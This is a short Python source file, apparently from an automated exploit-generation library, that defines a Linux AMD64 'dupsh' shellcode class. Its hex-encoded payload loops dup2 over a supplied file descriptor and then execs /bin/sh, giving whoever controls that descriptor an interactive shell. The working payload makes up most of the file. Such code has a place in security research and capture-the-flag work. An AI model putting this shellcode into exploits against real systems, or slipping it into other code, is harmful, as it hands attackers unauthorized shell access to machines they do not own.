
import binascii

from rex.exploit.shellcode import Shellcode


class LinuxAMD64Dupsh(Shellcode):
    # TODO: should be 'linux' once CLE can identify linux files
    os = ["unix"]
    arches = ["AMD64"]
    name = "dupsh"
    asm = None
    code = (binascii.unhexlify("4883c4406a") +
            b"%c" +
            binascii.unhexlify("5d6a035e48ffce780b566a21584889ef0f05ebef6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05")
            )

    def __init__(self, fd):
        # TODO: figure out what to do with this list
        self.fd = fd[0]

    def raw(self, arch=None):
        return self.code % self.fd
